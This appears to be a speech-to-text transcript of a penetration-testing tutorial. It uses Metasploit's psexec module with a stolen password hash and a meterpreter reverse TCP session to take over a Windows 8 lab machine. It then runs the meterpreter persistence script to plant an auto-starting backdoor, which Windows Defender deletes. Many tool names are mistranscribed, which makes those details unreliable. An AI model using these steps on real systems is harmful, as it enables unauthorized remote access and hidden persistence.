‫So let's try to use them interpreter's persistence method in a Windows eight victim.
‫As you know, we need to have him interpretor session on the victim first, so I'm going to use Pesek
‫module to get the session on my Windows eight.
‫Search Pesek.
‫Use exploit windows smb pesek set payload windows, interpretor, reverse TCP now show the options and
‫now set the options are host as Windows eight L host as Colly.
‫Username of my Windows eight was admin and password hash was on the desktop.
‫Here, so I'll copy it and paste, as the SNP past now leave the ports by default values and run the
‫exploit.
‫There now we have an interpreter session on the Windows eight system.
‫So we're in this info to check the system and the connection.
‫And here are the results.
‫So now let's run the persistance method with H first to see the parameters.
‫And now we're ready to prepare the comen.
‫A to start handler automatically.
‫Now, I don't set the payload this time because the default payload is exactly what I want X to auto
‫start when the system Boutte's.
‫And ten seconds between each try.
‫P for the port, no, I'll use the Port six six six six this time and finally are for the listen host,
‫which is calling for me to to to hit enter, to run the method.
‫And it's finished, so let's look at the messages to see what happened, it says The persistent script
‫has been written to the temp folder under the Windows Phone.
‫So let's look at the victim machine and see if that's correct.
‫We'll go to the temp folder and Windows Explorer.
‫Oh, Windows Defender detected the file, so to cross-check, I go to the temp folder to see whether
‫the script file is in there or not.
‫No, the script is not here, it's detected by Windows Defender and deleted, so we should find another
‫way to open a persistent back door.
‫There's always more than one way.